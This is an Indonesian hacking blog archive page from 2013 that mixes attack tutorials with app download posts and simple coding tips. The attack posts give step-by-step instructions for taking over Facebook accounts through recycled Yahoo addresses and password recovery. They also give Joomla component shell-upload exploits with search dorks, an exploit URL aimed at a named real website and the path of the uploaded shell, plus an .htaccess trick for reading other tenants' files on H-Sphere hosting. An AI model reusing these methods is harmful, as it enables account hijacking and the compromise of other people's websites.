ExploitLabz: Tips And Trick

Home » Posts filed under Tips And Trick

Tampilkan postingan dengan label Tips And Trick. Tampilkan semua postingan

Sabtu, 24 Agustus 2013

Yahoo Bug Recovery Facebook (RecoveryFacebook)

ExploitLabz - kali ini saya akan membahas tentang "Yahoo Bug Recovery Facebook (RecoveryFacebook)"
Tutorial Ini Seperti "Cara Import Seluruh Alamat E-mail Facebook ke Yahoo"

Anda harus login yahoo terlebih dahulu

Setalah Anda Login lalu anda ikutin tutorial "Cara Import Seluruh Alamat E-mail Facebook ke Yahoo"
Setelah Email "Faceook" anda telah di "Import" lalu anda logout dan login ulang kembali.
Jika Sudah Login Ulang Kembali Mari saatnya kita beraksi :D

Pertama-tama kita cari list email target yang sudah di delete oleh tim "Yahoo"
dan saya menggunakan contoh seperti gambar dibawah ini :

Setelah mendapatkan list email target lalu kita buka 2 Browser yang berbeda dan saya disini menggunakan "Mozilla"
Jika Sudah lalu kita buka "Yahoo" dan "Create New Account"

Langkah selanjutnya kita buat Email yang sama dengan si korban seperti gambar di bawah ini :

Setelah anda berhasil Membuat Email yang sama seperti si korban lalu ke langkah selanjutnya .

Buka "Facebook" dan pilih "Remember Password" dan masukan email korban (yang tadi sudah anda buat)
Setelah itu kita akan di berikan beberapa pilihan oleh tim "Facebook"
Lalu pilih "Gunakan Akun Yahoo Saya" dan klik "Lanjutkan"

Setelah anda klik menu "Lanjutkan" nanti anda akan di direct ke sebuah tautan, pada tautan tersebut anda klik atau pilih "Setuju", lihat seperti gambar berikut :

Jika klik tautan "Setuju" lalu anda akan ke direct link "Facebook" untuk memasukan "Kata Sandi Baru" dan isi "Kata Sandi" tersebut sesuai dengan yang anda inginkan setelah itu anda klik "Lanjutkan".
Pada Kolom yang ada di bawah anda bebas memilih yang mana saja

Setelah anda mengitu tutorial seperti gambar yang di atas, anda akan berhasil masuk ke "Account" si korban :D

Jika sudah masuk ke dalam "Account" si korban lalu terserah anda ingin di apakan "Account" si korban :D
dan ini contoh "Account" yang sudah didapat :D
Korban
Jika anda masih bingung dengan tutorial di atas, anda bisa download video tersebut disini

Oke, sekian tutorial kali ini dari saya.
semoga bermanfaat :D

#NB :
Saya tidak bertanggung jawab atas semua yang terjadi, karna saya hanya sekedar share tutorial :D

11.12 K4C3 Undetected No comments

Cara Import Seluruh Alamat E-mail Facebook ke Yahoo

Exploitlabz - kali ini saya mau berbagi tutorial "Cara Import Seluruh Alamat E-mail Facebook ke Yahoo"
memang ini sedikit jadul, semoga bermanfaat aja tutorial ini :D

Pertama-tama kita buka yahoo terus login .

Setelah login kita pilih "Mail", dan pilih "Contact" dan pilih "Import Contact" dan pilih Logo "Facebook"

Pada browser anda akan di alihkan "Pop-Up Blocked", dan pilih menggunakan "Facebook"
Setelah mengunggu beberapa saat, hasilnya kayak gini :

Semoga Bermanfaat :D

10.24 K4C3 Undetected 2 comments

Exploit Joomla Component com_smartformer Shell Upload Vulnerability

ExploiLabz - Sebenarnya ini Exploit lama sih. Tapi ternyata amsih ada web yang vuln dengan cara ini. jadi tidak ada salahnya saya juga ikut share. =))
Oke, langsung saja dimulai .
Bahan-bahan :
- shell php, script html
- dork : inurl:"index.php?option=com_smartformer" <--- kalo pengen dapet hasil lebih, kembangkan sendiri dorknya :)
Langsung saja kita berselancar di google mencari target. Harus sabar. tidak semua situs vuln dengan exploit ini.
lalu pilih salah satu situs.
maka kalian akan menemukan form seperti dibawah ini :

Langsung saja isi datanya. Lalu submit masukkan shellnya di "pilih berkas" . Terserah mau langsung script html apa backdoor .php .
Jika sudah, shell akan terletak di http://target.com/components/com_smartformer/files/namashell.php
Jika hanya upload html, ya tinggal lihat hasilnya :

Sekian tutorial kali ini, jadikan sebagai pembelajaran saja =))

16.08 K4C3 Undetected No comments

Exploit Joomla Component com_aclassif shell upload Vulnerability

ExploitLabz - kali ini saya mau berbagi tutor sedikit tentang hacking
Ini exploit lama sih. tapi baru nemu tadi di grup. Yaudah sekalian share di blog. Mungkin berguna buat newbie seperti saya . =)).
Oke, langsung saja.
Bahan :
1. backdoor shell, file .html / .txt
2. dork : inurl:"index.php?option=com_aclassif" or inurl:com_aclassif
3. Exploit : index.php?option=com_aclassif&option=com_aclassif&ct=wlkm_repl&md=add_form&replid=917&fblg=1
Langsung saja kita cari target di google dengan dork diatas.
Sebagai contoh, saya dapet target http://www.stabledock.com/
masukkan exploitnya menjadi : http://www.stabledock.com/index.php?option=com_aclassif&option=com_aclassif&ct=wlkm_repl&md=add_form&replid=917&fblg=1

Tinggal isi data datanya. Boleh ngasal kok. Terakhir, upload filenya di attachment .

NB : beberapa situs memungkinkan kita untuk upload file .php dan .html , namun ada juga yang hanya bisa upload .txt seperti situs diatas.

Jika sudah, tinggal klik link yang ada di keterangan seperti gambar diatas.

http://www.stabledock.com/components/com_aclassif/photos/mtmd32.txt

Sekian tutorial kali ini. Semoga bermanfaat.

15.44 K4C3 Undetected No comments

Bypass Parallels H-Sphere

Selamat malam sobat blogger, jumpa lagi bersama saya K4C3 Undetected

sudah lama sekali saya tidak menulis artikel di blog ini.

kali ini saya akan membahas tentang "Bypass Parallels H-Sphere"

gimana sih caranya?

yuk langsung aja ke stepnya

step 1 :

buat folder baru (terserah apa aja namanya)

lalu buat file .htaccess

lalu isi dengan script ini

Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php

step ke dua :

upload file ini ke directory

Download

setelah di download upload file tadi di folder yang tadi anda buat

step 3 :

jika sudah di upload unzip file yang baru tadi di upload,dengan mengetikan command berikut : "unzip yourfiles.zip(saya rename file nya jadi kace.zip)"

step 4 :
setelah mengetikan command seperti yang ada di gambar, lalu pilih tanda ">>" (tanpa tanda kutip) lalu klik-klik aja

step 5 :

buka file hasil bypass nya dengan menambahkan keyword berikut :

"/hsphere/local/config/httpd/sites/" (tanpa tanda kutip)

example:

www.domain.com/folder_yang_anda_buat/file.txt/hsphere/local/config/httpd/sites/

Demo :

live target

sumber :

Mauritania Security

oke itu aja sedikit tutorial dari saya, semoga bermanfaat :-D

terima kasih sudah mau mampir di blog saya

06.36 K4C3 Undetected 2 comments

HD Metallic Widgets v3.1 (Android)

HD metalik Widgets v3.1 (Android) | 3.8MB

HD metalic Widgets menyediakan pengalaman elegan baru home screen. Ini set widget termasuk widget cuaca, widget jam digital, widget jam analog, widget baterai dan switch widget, semua dalam satu paket. Apa yang membuat widget ini unik adalah tidak hanya gaya yang elegan, tetapi juga dioptimalkan pendekatan dalam penggunaan baterai, dan juga mudah digunakan.

Persyaratan: Android 2.1 up

Melalui paket ini Anda akan memiliki akses ke
● Analog Clock, yang tersedia dalam lingkaran dan bentuk Square. Widget ini juga menunjukkan hari saat bulan. Juga ditampilkan dalam 3 ukuran 3 X.

● Digital Clock, akan menunjukkan waktu dan tanggal saat ini. Juga menampilkan dalam 4 ukuran 1 X.

● Battery Widget, seperti yang ditampilkan dalam dua ukuran yang berbeda, satu besar dalam 4 ukuran 1 X dan satu kecil dalam ukuran 1 X 2. Widget ini memungkinkan Anda mengetahui status dari baterai melalui bentuk dan warnanya. Saat Anda menyambungkan pengisi daya, ia akan menampilkan kemajuan pengisian.

● Weather Widget, dalam ukuran kecil (4 X 1) secara otomatis akan mendeteksi lokasi Anda, dan berdasarkan itu, menampilkan tingkat saat ini, minimum dan maksimum derajat hari dan menjelaskan kepada Anda kondisi cuaca. Ukuran besar (4 X 2) akan memiliki fungsi yang sama seperti yang kecil, dan akan menampilkan kondisi cuaca dari empat hari berikutnya ditambahkan. Jika Anda perlu memperbarui widget cuaca secara manual, Anda hanya menyentuh widget dan di jendela dibuka Anda dapat menyegarkan itu.

● Switch Widget, menyediakan cara cepat untuk mengaktifkan / menonaktifkan beberapa fungsi yang berguna seperti Wi-Fi, Bluetooth, GPS, Brightness Screen, modus Diam dan Rotasi Auto, juga tersedia dalam 4 ukuran 1 X.

● Composed Widget, itu dibuat dengan menyusun cuaca, Tanggal & waktu dan widget baterai. Jika Anda perlu memperbarui widget cuaca secara manual, Anda dapat menyentuh bagian cuaca dan di jendela dibuka Anda dapat menyegarkan itu.

Minimum Kebutuhan
● Android OS 2.1 +
● 500 MHz CPU +
● MDI Layar

Jika Anda memiliki pertanyaan lebih lanjut, jangan ragu untuk bertanya. Juga kami terbuka untuk saran apapun dan kami akan senang mendengar dari Anda.

Download :Click Here

13.55 K4C3 Undetected No comments

PostureScreen Mobile v1.0.1 (android) | 15.85MB

Aplikasi ini ditujukan untuk Chiropractors, Therapi Fisik dan pijat, dan Profesional kebugaran yang ingin obyektif dan cepat menganalisis postur pasien yang ada atau pada penampakan tulang belakang .

Support Android OS: 2.3 +
Anda dapat dengan cepat membuat analisis postur dan temuan evaluasi untuk calon pasien / klien dengan software screen postur evaluasi dan menangkap demografi pasien, dan email pasien / klien temuan calon mereka menggunakan PDF enkripsi yang aman. Anda kemudian juga dapat menghasilkan evaluasi postural komparatif serta postur perbandingan Postur Analisis Trend (R) dengan MODUL UPGRADE perbandingan.
Awal Penilaian Laporan postural dalam detik!

Postural Perbandingan dan Analisis Postur Trend (Upgrade Modul) HIPAA Compliant – App Sandi Tingkat dilindungi dengan enkripsi pilihan serta Sandi Encrypted Email Protected pilihan Laporan PDF! Nyeri Diagram / Stres Survei dengan Diagram Sakit (Upgrade Modul) Pasien Pendidikan Animasi (Upgrade) Ekspor Pasien demografi Excel File untuk Recall Easy (Upgrade Modul) Jatuhkan Integrasi Box untuk Menyelaraskan Mudah! Ekspor Gambar Postur untuk digunakan dengan EMR dengan Kemudahan melalui Dropbox! Template Jumlah PDF dan Email Laporan Kustomisasi (Modul upgrade)

Sesuaikan dengan Logo Anda sendiri!

Download : Click Here

13.47 K4C3 Undetected No comments

VPN Free Server Jepang (PPTP VPN)

VPN Gratis Server Japan ini, cukup mudah pendaftaran dan penggunaannya kalau anda mengerti bahasa jepang. Tapi tenang saja, berikut ini tutorial lengkap bagaimana cara menggunakan vpn gratis.
1. Langsung menuju ke situs http://49.212.9.175/entry/

2. Masukkan email anda di kolom yang tersedia, centang juga persetujuan di bawahnya, lalu klik bawahnya (next). Untuk lebih jelasnya, lihat gambar.

3. Setelah itu klik tombol seperti pada gambar.

4. Cek email anda, buka link konfirmasi yang telah dikirim. Nah disitu sudah nampak username dan password anda. 5. Kemudian cek email anda lagi, akan ada pesan VPN Server anda. 6. Untuk cara menggunakan vpn gratis jenis PPTP ini baca cara setting pptp vpn.
Semoga bermanfaat bagi teman-teman. Untuk vpn gratisan lainnya, silahkan ditunggu terutama bagi anda yang suka browsing dengan aman dan lancar.

Cara Setting PPTP VPN

Spoiler Untuk lihat Script:

12.23 K4C3 Undetected No comments

Cara Memasang Translate Bendera

Kalian ingin memasang translate di blog dengan tampilan yang lebih menarik dari translate fasilitas google?

Kebetulan setelah saya melakukan blogwalking ke blog para sobat master saya ketemu bagaiman Cara Memasang Translate Bendera di Kalo mau lihat contohnya silahkan kunjungi GO.....BLOG di bagian sidebar Translatenya,

Berikut scriptnya silahkan kalian Copas untuk di pasang ke widget blog kalian

Tampilan pertama :

Tampilan Kedua :

Cara Pemasangannya :

Setelah kalian menentukan pilihan tampilan, Login ke Blog kalian, bisa klik disini Klik tab Rancangan >> klik Elemen Laman >> klik Tambah Gadget/Widget.

Setelah itu Paste Script diatas salah satu diantara keduanya tampilan pertama atau tampilan kedua ke kolom konten di bawah kolom judul. Jangan lupa kasi judul gadget/widgetnya biar pengunjung blog kalian tahu kalo gambar bendera ini berguna untuk translate bahasa blog kalian. Terakhir klik Simpan. Sangat Mudah kan.

Semoga bermanfaat

12.48 K4C3 Undetected No comments

Tutorial Membuat Koneksi database mysql Dengan php

Silahkan copy kode berikut ke notepad atau editor lainnya :

<?php
//INI FILE KONFIGURASI UTAMA
$nama_server="localhost"; //setting nama server
$nama_database="kace_undetected"; //setting nama database
$nama_user="kace_undetected"; //setting nama user
$pass_user="password"; //setting password
mysql_connect($nama_server,$nama_user,$pass_user) or die("<h1 align=center>Gagal</h1>");
//melakukan koneksi ke server dengan nama user dan password yang sudah dibuat

mysql_select_db($nama_database) or die("<h1 align=center>Gagal</h1>");
//memilih database yang akan digunakan
?>

Kemudian simpan dengan nama config.php
Untuk menggunakan file config tersebut, anda buat file baru lagi dan dan dibaris paling atas tambahkan perintah berikut :

<?php
   include("config.php");
?>

Sekian dulu ya, semoga bermanfaat

04.31 K4C3 Undetected No comments

Tutorial Download Video Di Youtube

Jika Anda mengalami kesulitan untuk men-download video di youtube saya punya solusi terbaik, gimana sih cara download video di youtube selain menggunakan IDM (Internet Download Manager)

pertama-tama anda harus download dulu tools -nya, setelah itu anda install terlebih dahulu, cara installnya gimana?

mari ikuti langkah-langkah di bawah ini untuk menginstall

1. buka YTDsetup.exe lalu klik next-next saja